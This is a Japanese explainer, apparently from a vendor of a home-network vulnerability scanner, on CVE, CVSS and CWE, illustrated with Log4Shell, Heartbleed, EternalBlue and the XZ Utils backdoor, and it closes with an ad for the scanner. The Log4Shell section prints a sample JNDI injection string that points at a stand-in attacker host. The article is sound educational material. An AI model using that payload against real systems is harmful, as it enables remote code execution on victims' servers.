CVEとは?Log4Shell・Heartbleed・EternalBlue・XZ Utilsで学ぶ有名な脆弱性

CVE番号とは何かをまず押さえ、歴史に残る4つの脆弱性を「何が起きたのか」「なぜ起きたのか」の両面から読み解きます。

CVEとは何か

CVE(Common Vulnerabilities and Exposures)は、公表されたソフトウェアの脆弱性1件ごとに 付けられる共通の識別番号です。CVE-西暦-通し番号 という形式で、 たとえば CVE-2021-44228 のように書きます。米国の非営利団体 MITRE が制度を運営し、 各ベンダーや調整機関(CNA: CVE Numbering Authority)が番号を割り当てます。

なぜ共通番号が必要かというと、同じ脆弱性を各社がバラバラの名前で呼ぶと、 「自社の製品が影響を受けるのか」「パッチは出ているのか」を照合できなくなるからです。 CVE番号があれば、ニュース記事・ベンダーの注意喚起・脆弱性スキャナ・パッチ情報を 1つの番号で突き合わせられます。MIKAGE NET のような脆弱性診断ツールも、 検出した問題をCVE番号で報告します。

CVEとCVSSは別物: CVEは「どの脆弱性か」を表す識別子です。 深刻度を0.0〜10.0の数値で表すのは CVSS(Common Vulnerability Scoring System)という 別の指標です。「CVE-2021-44228 は CVSS 10.0」のように、両者を組み合わせて使います。

CWEとの関係

CVEが「個別の事件」だとすれば、CWE(Common Weakness Enumeration)は 「脆弱性の種類」のカタログです。たとえば「境界外書き込み(CWE-787)」「SQLインジェクション(CWE-89)」 のように、弱点のパターンに番号が振られています。1つのCVEは、根本原因として1つ以上のCWEに分類されます。 以下で見る4つの事件も、それぞれ典型的なCWEに対応しています。

Log4Shell(CVE-2021-44228)

2021年12月に公表された、Javaのログ出力ライブラリ Apache Log4j 2 の脆弱性です。 CVSSは最高値の10.0。影響範囲の広さと悪用の容易さから、近年で最も深刻な脆弱性の1つとされました。

何が問題だったか

Log4j 2 には、ログに書き込む文字列の中の ${...} という記法を解釈して展開する 機能(ルックアップ)がありました。その中の JNDI ルックアップを悪用すると、攻撃者が仕込んだ文字列を ログに記録させるだけで、外部サーバから任意のコードを読み込ませて実行できました。

攻撃者が送る文字列(例: User-Agent やチャット欄などに):
${jndi:ldap://attacker.example/a}

      ↓ アプリがこれをログ出力しようとする
      ↓ Log4j が ${...} を「展開すべき指示」として解釈
      ↓ attacker.example の LDAP サーバへ接続
      ↓ 返ってきた Java クラスを読み込んで実行(RCE)

恐ろしいのは、攻撃者が特別な権限を必要とせず、「ログに残る場所に文字列を送り込む」だけで 成立した点です。Webの入力欄、HTTPヘッダ、ゲームのチャットなど、ログに記録されうるあらゆる経路が 入口になりえました。これは本質的に「データ」として扱うべき入力を「命令」として解釈してしまった インジェクションの一種(CWE-917: 式言語インジェクション)です。

教訓

「ログ出力は安全な操作だ」という思い込みが崩れた事件でした。入力をどこかに記録するだけでも、 その先で入力が解釈されるなら危険になりえます。対策はLog4jのアップデートと、 ルックアップ機能の無効化でした。

Heartbleed(CVE-2014-0160)

2014年に公表された、広く使われている暗号ライブラリ OpenSSL の脆弱性です。 TLS/DTLSの「ハートビート」拡張の実装にあったバグで、サーバのメモリ内容が外部に漏れました。

何が問題だったか

ハートビートは「このデータを送るので、そのまま送り返して」と接続の生存確認をする仕組みです。 リクエストには「送り返すデータ」と「その長さ」が含まれますが、OpenSSLは送られてきた 実際のデータ長を確認せず、リクエストが主張する長さの分だけメモリをコピーして返していました。

攻撃者のリクエスト:
  データ = "hi" (実際は2バイト)
  長さ   = 65535 と主張

      ↓ サーバは長さ 65535 を信用する
      ↓ "hi" を置いたメモリ位置から 65535 バイトを読み出して返信
      ↓ "hi" の後ろにある他のメモリ領域(最大約64KB)が漏洩
      ↓ そこに秘密鍵・パスワード・セッション情報が含まれることも

これは境界チェックの欠落による範囲外読み取り(CWE-125: Out-of-bounds Read)の典型です。 前の記事の式でいえば、∀ アクセス a[i] : 0 ≤ i < len(a) という メモリ安全性の条件が破られていました。 攻撃は何の痕跡も残さず、サーバのログにも記録されないため、いつ誰に鍵を抜かれたか分からないのが 特に深刻でした。

教訓

「相手が申告した長さを検証せずに信用してはいけない」という、メモリ安全性の基本が守られていませんでした。 世界中のサーバが影響を受け、秘密鍵の再発行・証明書の更新・パスワード変更が一斉に必要になりました。

EternalBlue(CVE-2017-0144)

Windowsのファイル共有プロトコル SMBv1 にあった脆弱性です。 マイクロソフトは2017年3月の月例更新 MS17-010 で修正しましたが、 その後に流出した攻撃ツールを組み込んだランサムウェア WannaCry が、 2017年5月に世界中で大規模な被害を引き起こしました。

何が問題だったか

SMBv1 の古い要求を処理する部分に、データのサイズ計算を誤るバグがあり、攻撃者が細工した パケットを送ると、本来書き込むべき範囲を超えてメモリに書き込めました(バッファオーバーフロー、 CWE-787: Out-of-bounds Write)。これを足がかりに、認証なしで任意コードを実行できました。

攻撃者 → 細工したSMBv1パケットを送信(認証不要)
      ↓ SMBドライバがサイズ計算を誤りメモリを範囲外に書き込み
      ↓ カーネル権限で任意コード実行
      ↓ 同じ脆弱性を持つLAN内の他PCへ自動的に伝播(ワーム化)

WannaCryが被害を広げたのは、EternalBlueを自己増殖(ワーム)に使ったためです。 1台が感染すると、同じネットワーク上のパッチ未適用のPCへ次々と感染が広がりました。 パッチ自体は被害の2か月前に公開されていたにもかかわらず、適用が進んでいなかったことが 被害を拡大させました。

教訓

「パッチは出ているのに当てていない」状態がいかに危険かを示した事件です。また、古くなった プロトコル(SMBv1)を使い続けること、ネットワーク内部が無防備だと1台の感染が全体に広がること、 というネットワーク側のリスクも浮き彫りになりました。

XZ Utils バックドア(CVE-2024-3094)

2024年に発覚した、Linuxで広く使われる圧縮ユーティリティ XZ Utils(liblzma)に 意図的に仕込まれたバックドアです。これまでの3つが「うっかりのバグ」だったのに対し、 これはサプライチェーン攻撃──信頼される部品そのものに悪意を忍ばせる攻撃でした。

何が問題だったか

攻撃者は数年かけてXZ Utilsプロジェクトに「熱心な貢献者」として参加し、 次第に信頼を得てメンテナ権限に近づきました。そして、公開リポジトリのソースコードには 現れない形で、配布用のリリースtarballにだけ悪意あるコードを紛れ込ませました。

悪意あるコードの隠し方:
  ・GitHub上の読めるソースには入れない
  ・リリース用tarball内のビルドスクリプトと
    「テスト用」に見せかけたバイナリデータに分割して隠す
  ・ビルド時にそれらが組み合わさり liblzma に注入される

影響:
  ・liblzma を間接的に読み込む sshd(SSHサーバ)が標的
  ・特定の鍵を持つ攻撃者だけが認証を回避できる作り
  → 気づかれにくい遠隔侵入の裏口

これが大惨事を免れたのは、ある開発者がSSHログインがわずかに遅くなった(約0.5秒)ことを 不審に思って調査し、広く安定版に取り込まれる直前に発見したためでした。 紙一重の幸運でした。分類上は CWE-506(埋め込まれた悪意あるコード)にあたります。

教訓

コードそのものにバグがなくても、「信頼」そのものが攻撃対象になることを示しました。 オープンソースの「公開されているソース」と「実際に配布されるもの」が一致している保証、 ビルドの再現性、メンテナが少数に依存する構造のリスク──といった、 ソフトウェアの作られ方・届き方への注目を一気に高めた事件です。

4つの事件を並べてみる

名称 / CVE対象 / 種類(CWE) / 本質
Log4Shell
CVE-2021-44228
Apache Log4j 2 / 式言語インジェクション(CWE-917)
「データ」のはずの入力が「命令」として解釈された
Heartbleed
CVE-2014-0160
OpenSSL / 範囲外読み取り(CWE-125)
申告された長さを検証せず、他人のメモリを読み出した
EternalBlue
CVE-2017-0144
Windows SMBv1 / 範囲外書き込み(CWE-787)
サイズ計算の誤りで範囲外に書き込み、ワーム化した
XZ Utils
CVE-2024-3094
XZ Utils (liblzma) / 埋め込まれた悪意あるコード(CWE-506)
部品への「信頼」を突いたサプライチェーン攻撃

前半2つはメモリ安全性、Log4Shellはインジェクション、XZは信頼そのものと、 脆弱性の形式化の記事で見た 「種類ごとに安全性の定義が変わる」ことが、実例でもそのまま現れています。

まとめ

  • CVEは公表された脆弱性1件ごとの共通識別番号(CVE-年-番号)。深刻度の数値はCVSS、弱点の種類はCWE
  • Log4Shell: ログ出力の文字列が命令として解釈され、任意コード実行に至った
  • Heartbleed: 長さの検証漏れで、サーバのメモリ(秘密鍵を含む)が漏洩した
  • EternalBlue: SMBv1のバッファオーバーフローが、WannaCryによってワーム化した
  • XZ Utils: 信頼を悪用して部品に仕込まれたバックドア(サプライチェーン攻撃)
  • 自分のPC・ネットワークにこうした既知の脆弱性が残っていないかは、MIKAGE NETで確認できます

自分のネットワークに既知の脆弱性が残っていないか

MIKAGE NETは、自宅ネットワーク上の機器に既知のCVEやサポート終了機種が残っていないかを無料で診断します。

MIKAGE NETを見る